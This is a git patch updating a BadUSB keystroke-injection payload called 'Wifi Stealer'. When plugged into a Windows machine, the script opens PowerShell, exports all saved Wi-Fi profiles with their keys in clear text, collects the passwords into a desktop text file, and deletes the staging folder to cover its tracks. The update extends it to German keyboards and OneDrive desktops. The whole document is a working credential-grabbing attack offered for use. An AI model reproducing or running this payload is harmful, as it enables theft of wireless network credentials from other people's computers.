From 38cd85f274818dfb1f290ef655c35f0800c6b364 Mon Sep 17 00:00:00 2001 From: 7h30th3r0n3 <75809682+7h30th3r0n3@users.noreply.github.com> Date: Mon, 19 Sep 2022 16:03:58 +0200 Subject: [PATCH] Update Wifi-Stealer_ORG.txt the payload reworked by the0bone which allows to include users with onedrive activated, and allows it to work on German keyboards --- BadUSB/Wifi-Stealer_ORG.txt | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/BadUSB/Wifi-Stealer_ORG.txt b/BadUSB/Wifi-Stealer_ORG.txt index e6e860fd..3b996ba6 100644 --- a/BadUSB/Wifi-Stealer_ORG.txt +++ b/BadUSB/Wifi-Stealer_ORG.txt @@ -1,13 +1,19 @@ REM Title: Wifi Stealer REM Author: 7h30th3r0n3 -REM Target: Tested on Windows 7/8/10/11 -REM Version: 1.0 +REM Reworked: the0bone +REM Target: Windows 7/8/10/11 +REM Supported Layout keyboard: US/FR/DE +REM Version: 1.2 REM Category: Grabber REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop GUI r DELAY 500 STRING powershell ENTER -DELAY 500 -STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit +DELAY 2000 +REM setting variable +STRING $desktop = ([Environment]::GetFolderPath("Desktop")) +ENTER +REM Creating a new folder in Temp with random name to store the xml files and create single text file. +STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial'> $desktop\0.txt; Set-Location -Path "$env:temp"; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse; exit ENTER